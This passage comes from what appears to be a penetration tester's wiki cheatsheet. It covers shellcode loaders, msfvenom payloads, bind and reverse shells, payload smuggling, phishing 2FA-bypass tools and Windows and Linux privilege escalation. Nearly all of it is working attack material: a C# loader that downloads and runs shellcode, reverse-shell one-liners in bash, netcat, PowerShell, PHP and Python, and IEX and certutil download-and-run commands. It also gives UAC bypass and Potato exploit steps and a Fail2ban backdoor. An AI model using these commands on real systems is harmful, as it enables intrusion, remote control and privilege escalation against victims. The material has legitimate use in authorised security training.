ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
</syntaxhighlight>

=== Msfvenom Staged payload ===

<syntaxhighlight lang="bash">
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.
</syntaxhighlight>

----

== Bind shells ==

https://blog.aghanim.net/?p=1043

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -l -p 443 -e cmd.exe
</syntaxhighlight>

----

== Reverse shells ==

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]

=== Reverse Shell Generator ===

[https://www.revshells.com/ https://www.revshells.com/]

=== hoaxshell ===

Currently undetected by Microsoft and most AV (12.10.2022)

<syntaxhighlight lang="bash">
# https://github.com/t3l3machus/hoaxshell
──(root💀kali)-[/opt/hoaxshell]
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444 1 ⨯
┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬ ┬
├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤ │ │
┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘
by t3l3machus
[Info] Generating reverse shell payload...
powershell -e JABzAD0AJwAxADkAMgAuADEANg....
[Info] Type "help" to get a list of the available prompt commands.
[Info] Http Server started on port 4444.
[Important] Awaiting payload execution to initiate shell session...
[Shell] Payload execution verified!
[Shell] Stabilizing command prompt...
PS C:\Users\AlaaG > whoami
laptop-\alaag
PS C:\Users\AlaaG > systeminfo
Host Name: LAPTOP-
OS Name: Microsoft Windows 11 Home
OS Version: 10.0.22000 N/A Build 22000
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
</syntaxhighlight>

=== ICMP Reverse Shell ===

<syntaxhighlight lang="bash">
# https://github.com/krabelize/icmpdoor
# https://cryptsus.com/blog/icmp-reverse-shell.html
## Python version usage (both Windows and Linux):
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)
## Binary Windows version usage version:
./icmp-cnc.exe -d VICTIM-IP (Command and Control)
./icmpdoor.exe -d CNC-IP (Implant)
## Binary Linux version usage version:
./icmp-cnc -d VICTIM-IP (Command and Control)
./icmpdoor -d CNC-IP (Implant)
</syntaxhighlight>

=== BASH TCP ===

<syntaxhighlight lang="bash">
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0/dev/tcp/10.0.0.1/4242; sh &196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0&1
## Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
</syntaxhighlight>

=== BASH UDP ===

<syntaxhighlight lang="bash">
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
</syntaxhighlight>

=== ngrok - Catcha reverse shell from the internet ===

[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]

<syntaxhighlight lang="bash">
# On attacker (term1)
ngrok tcp 4444
# On attacker (term2)
nc -lvp 4444
# On target, use your reverse shell payload on the ngrok tunnel target
nc 0.tcp.ngrok.io -e /bin/sh
-----
# Another method if there is a proxy and firewall.
# Setup free domain. (Custom domain is a paid feature)
https://dashboard.ngrok.com/cloud-edge/domains
ngrok http --domain=ngrok-provided-domain.ngrok-free.app
# On attacker
nc -lvnp
</syntaxhighlight>

=== Netcat Traditional ===

<syntaxhighlight lang="bash">
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
</syntaxhighlight>

=== Netcat BusyBox ===

<syntaxhighlight lang="bash">
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
</syntaxhighlight>

=== nc.exe ===

<syntaxhighlight lang="bash">
nc.exe -e cmd.exe attacker_ip attacker_port
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="php">
php -r '$sock=fsockopen("10.10.14.17",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Base64 encoded webshell
""
"& /dev/tcp/192.168.49.129/80 0>&1'); ?>"
</syntaxhighlight>

=== Powershells ===

<syntaxhighlight lang="powershell">
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
</syntaxhighlight>

=== Powershell base64 encoded reverse shell payload ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="python">
import os,pty,socket;s=socket.socket();s.connect(("192.168.49.169",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
</syntaxhighlight>

=== Stabilize shell (Interactive shell) ===

==== Linux ====

<syntaxhighlight lang="bash">
python -c 'import pty;pty.spawn(“/bin/bash”)'
export TERM=xterm
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.
https://blog.aghanim.net/?p=1043
</syntaxhighlight>

==== Windows ====

<syntaxhighlight lang="bash">
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1
# 1. Edit Nishang script and add
Invoke-PowerShellTcp -Reverse -IpAddress -Port
# 2. Start a new netcat listener
# 3. Start simple http.severe where the nishang script is
# 4. On target. (Make sure powershell is enabled and allowed to use)
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1')
</syntaxhighlight>

=== Fix TTY in reverse shell ===

<syntaxhighlight lang="bash">
# In our shell. Remember the rows anc cols
stty -a
# On victim shell
stty rows cols
</syntaxhighlight>

----

== PackMyPayload ==

[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag & demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]

Smuggle payloads using various file formats:

* <code>7zip</code>

* <code>zip</code>

* <code>ISO</code>

* <code>IMG</code>

<syntaxhighlight lang="bash">
# Pack a dir to .iso
PackMyPayload.py C:\my\dir malicious.iso -v
# Pack a malicious code to .vhd
PackMyPayload.py .\evil.lnk .\evil.vhd
</syntaxhighlight>

== Persistence ==

=== Windows ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]

=== Linux ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]

----

== Phishing ==

=== Bypass 2-Fa ===

[https://www.youtube.com/watch?v=FwGeBW6OurM&t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]

[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]

----

== Programming ==

=== Control flow - Logic Statement ===

{| class="wikitable"
|-
| Logic Statement
| Purpose
|-
| if/else
| Executes only if a condition is met, else it will execute a different code block
|-
| try/catch
| Will try to execute a code block and catch it if it fails to handle errors.
|-
| switch case
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default
|-
| for/while loop
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.
|}

----

== Privilege Escalation ==

=== Windows ===

==== Admin Account Credentials ====

[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]

<syntaxhighlight lang="bash">
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas
runas /profile /user:Administrator "nc.exe -e cmd 192.168.49.169 443"
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method is if the shell is non-interactive is to use a powershell script.
# Save this on your Kali and start a HTTP.server.
$password = ConvertTo-SecureString "lab" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("Administrator", $password)
Start-Process -Credential $credential -FilePath "C:\Users\Offsec\Desktop\ProcessHollow.exe"
# Now on the shell you have, run this command.
iex(new-object net.webclient).downloadstring('http://192.168.45.198/test.ps1')
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method again is to RDP to the target if possible and Run As.
</syntaxhighlight>

==== AlwaysInstallElevated ====

If these two registers are enabled then users of any privilege can install '''.msi '''files as NT AUTHORITY\SYSTEM

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
# If 0x1 then its enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Msfvenom payload
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
# The above is better for persistence
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi > rev_shell.msi # Recommeded if not AD.
# Execute
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

----------------
# The above command will probably be detected by AV. You can compile your own .msi.
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated
PS C:\WiX Toolset v3.11\bin> .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)
-------------------------------------------
# You can also use MSI Wrapper.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper
------------------------------------------
# There is also a metasploit module, but it needs a bit tweaking
exploit/windows/local/always_install_elevated
# In the multi handler do the following
set DisablePayloadHandler true - # Disable built-in listener
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload
run -j -z - # Background listener
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
msf6 exploit(windows/local/always_install_elevated) > set VERBOSE true
msf6 exploit(windows/local/always_install_elevated) > set payload windows/exec
msf6 exploit(windows/local/always_install_elevated) > set session 1
# The encoded powershell command do 'whoami > C:\whoami.txt' to verify that it works
msf6 exploit(windows/local/always_install_elevated) > set cmd 'powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA='
msf6 exploit(windows/local/always_install_elevated) > run
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run
msf6 exploit(windows/local/always_install_elevated) > set cmd 'C:\proc_hol.exe'
msf6 exploit(windows/local/always_install_elevated) > run
# You should get a callback to your meterpreter listener.
</syntaxhighlight>

[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]

==== BarracudaDrive 6.5 ====

<syntaxhighlight lang="bash">
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html
</syntaxhighlight>

==== Bypass UAC ====

[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]

<syntaxhighlight lang="bash">
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy Level shell, we might bypass uac.
# Notice the last line, "Mandatory Label\Medium Mandatory Level"
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

# Next check if UAC is enabled
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
# We then have to find a binary that have "autoElevate" set to true.
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate
true
# Then we have to generate a payload using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe > shell.exe
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c
# Compile the above code
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe
# Transfer the binary to target and execute
.\eventvwr-bypassuac-64.exe
# Check your listener and then run "whoami /groups" again and check last line.
Mandatory Label\High Mandatory Level Label S-1-16-12288
# This means you can run elevated commands. Dumping hashes etc.
</syntaxhighlight>

==== CVE ====

===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====

<syntaxhighlight lang="bash">
# https://github.com/apt69/COMahawk
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka 'Windows UPnP Service Elevation of Privilege Vulnerability'.
# Method 1
.\COMahawk64.exe
[\] Progress: 1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.
# Method 2
.\COMahawk64.exe "C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443"
</syntaxhighlight>

==== HiveNightmare ====

<syntaxhighlight lang="bash">
# https://github.com/GossiTheDog/HiveNightmare
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).

</syntaxhighlight>

==== LAPS ====

<syntaxhighlight lang="bash">
# If we have valid creds for LDAP we can query LDAP for the local admin password.
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -h 192.168.120.108 "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory.
</syntaxhighlight>

==== Potatos (SeimpersonatePrivilege) ====

[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]

* If the machine is >= Windows 10 1809 & Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]

* If the machine is < Windows 10 1809 < Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]

===== Finding CLSID =====

[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]

<syntaxhighlight lang="powershell">
function Lookup-Clsid
{
Param([string]$clsid)
$CLSID_KEY = 'HKLM:\SOFTWARE\Classes\CLSID'
If ( Test-Path $CLSID_KEY\$clsid) {
$name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).'(default)'
$dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).'(default)'
}
$name, $dll
}
</syntaxhighlight>

===== Hot Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/foxglovesec/Potato
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true
</syntaxhighlight>

===== Rotten Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/breenmachine/RottenPotatoNG
After having a meterpreter shell with incognito mode loaded:
MSFRottenPotato.exe t c:\windows\temp\test.bat
</syntaxhighlight>

===== Lonely Potato =====

<syntaxhighlight lang="bash">
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.
https://github.com/decoder-it/lonelypotato
</syntaxhighlight>

===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====

<syntaxhighlight lang="bash">
# Download repository
https://github.com/ohpe/juicy-potato
https://github.com/antonioCoco/JuicyPotatoNG
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe
</syntaxhighlight>

===== Rogue Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/antonioCoco/RoguePotato
# Run in your machine the socat redirection (replace VICTIM_IP):
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
# Execute PoC (replace YOUR_IP and command):
.\RoguePotato.exe -r YOUR_IP -e "command" -l 9999
</syntaxhighlight>

===== GodPotato =====

[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]

Enables privilege escalation in Windows 2012 - Windows 2022

<syntaxhighlight lang="bash">
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
</syntaxhighlight>

===== SharpEfsPotato =====

[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]

<syntaxhighlight lang="bash">
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
</syntaxhighlight>

===== PrintSpoofer =====

[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]

<syntaxhighlight lang="bash">
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:
PrintSpoofer.exe -i -c cmd
</syntaxhighlight>

==== Se-privileges ====

===== Great list and explanation =====

[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]

<syntaxhighlight lang="bash">
# This ppt will explain how to exploit different SePrivileges
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
</syntaxhighlight>

===== SeManageVolume =====

<syntaxhighlight lang="bash">
https://github.com/xct/SeManageVolumeAbuse
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume
</syntaxhighlight>

===== SeLoadDriverPrivilege =====

<syntaxhighlight lang="bash">
# See writeup for PG Fuse
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System
</syntaxhighlight>

===== SeRestorePrivilege =====

<syntaxhighlight lang="bash">
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.
# See PG Heist writeup
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.
# Example of ways to escalate privilege
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
# Now RDP to target without logging in. Then press win+u
rdesktop 192.168.153.165
</syntaxhighlight>

[[File:2022-11-image-2.png|thumb]]

===== SeBackupPrivilege =====

<syntaxhighlight lang="bash">
# SeBackUpPrivilege basically allows for full system read.
# See if user is member of 'Backup Operator'.
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
# https://github.com/giuliano108/SeBackupPrivilege
# Example 1
PS C:\scripts> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\scripts> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\scripts> Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup
SeBackupPrivilege is disabled
PS C:\scripts> dir E:\V_BASE
Get-ChildItem : Access to the path 'E:\V_BASE' is denied.
At line:1 char:4
+ dir Set-SeBackupPrivilege
PS C:\scripts> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\scripts> dir E:\V_BASE # ...having enabled the privilege, this now works

Directory: E:\V_BASE

Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 18/07/2013 13:04 Private
PS C:\scripts> cd E:\V_BASE\Private
PS E:\V_BASE\Private> dir

Directory: E:\V_BASE\Private

Mode LastWriteTime Length Name
---- ------------- ------ ----
----- 05/07/2013 12:29 306435 report.pdf
PS E:\V_BASE\Private> Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite
Copied 306435 bytes
PS E:\V_BASE\Private>

-------------------
# Example 2
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
</syntaxhighlight>

===== SeCreateTokenPrivilege =====

<syntaxhighlight lang="bash">
# https://www.greyhathacker.net/?p=1025
Try running it many times
</syntaxhighlight>

==== SMBGhost ====

<syntaxhighlight lang="bash">
# CVE-2020-0796
# https://github.com/danigargu/CVE-2020-0796
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp
# Compile it. Change 'debug' to 'release', set correct architecture.
# Transfer to target
.\cve-2020-0796.exe
</syntaxhighlight>

==== Software ====

===== Iperius Backup 6.1.0 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/46863
</syntaxhighlight>

===== SystemScheduler =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/45072
</syntaxhighlight>

==== Unquoted Service Path ====

<syntaxhighlight lang="bash">
# In order to exploit Unquoted service path we have to:
# - Be able to write to the target folder - Use icacls
# - Be able to restart the service or machine
# Exmaple (10.1.1.89)
icacls enterprisesystemmanager.exe # We have modify permissions
# Generate a payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe > enterprisesystemmanager.exe
# Move original .exe to .bak
move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager
certutil -urlcache -split -f "http://192.168.119.130/enterprisesystemmanager.exe"
# Catche the connection
rlwrap nc -lvnp 443 1 ⨯
listening on [any] 443 ...
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
</syntaxhighlight>

==== Windows XP SP0/SP1 - UPNP service exploit ====

<syntaxhighlight lang="bash">
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html
# Requirenment: Obtained a low privilege shell on your victim's computer. Operating system is Windows XP with SP0 or SP1 installed.
# See write up for PWK 10.11.1.14.
</syntaxhighlight>

==== Windows Exploit Suggester ====

<syntaxhighlight lang="python">
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls
</syntaxhighlight>

==== Windows Kernel Exploit list ====

<syntaxhighlight lang="bash">
https://github.com/SecWiki/windows-kernel-exploits
</syntaxhighlight>

==== xampp 7.3 ====

<syntaxhighlight lang="bash">
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]
└─# cat exploit.ps1
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\Users\Mike\Downloads\rev.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $fil
</syntaxhighlight>

=== Linux ===

==== CVE ====

===== CVE-2009-2698 (Centos 4.8) =====

<syntaxhighlight lang="bash">
https://github.com/xiaoxiaoleo/CVE-2009-2698
</syntaxhighlight>

===== CVE-2021-4034 (polkit) =====

<syntaxhighlight lang="bash">
# https://github.com/joeammond/CVE-2021-4034
# Check suid and see if /usr/bin/pkexec is present and python
# Then compile and run
</syntaxhighlight>

===== CVE-2023–22809 (bypass sudo) =====

<syntaxhighlight lang="bash">
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466

</syntaxhighlight>

==== Fail2ban ====

<syntaxhighlight lang="bash">
# See PG Fail writeup
# Example reverse shell
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
#actionban = -I f2b- 1 -s -j
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999
</syntaxhighlight>

==== Linux Kernel exploits ====

<syntaxhighlight lang="bash">
# Linux versions
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
https://www.exploit-db.com/exploits/15285
# Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4)
https://www.exploit-db.com/exploits/44298
# Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27)
https://www.exploit-db.com/exploits/45010
</syntaxhighlight>

==== Copy Fail - CVE-2026-31431 ====
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

==== Dirty Frag: Universal Linux LPE ====
<syntaxhighlight lang="bash">
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
</syntaxhighlight>

==== ld_reload - Dynamic library hijacking ====

<syntaxhighlight lang="bash">
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one
# List Dynamic Dependencies = ldd
# Ldd is a powerful command-line tool that allows users to view an executable file's shared object dependencies.
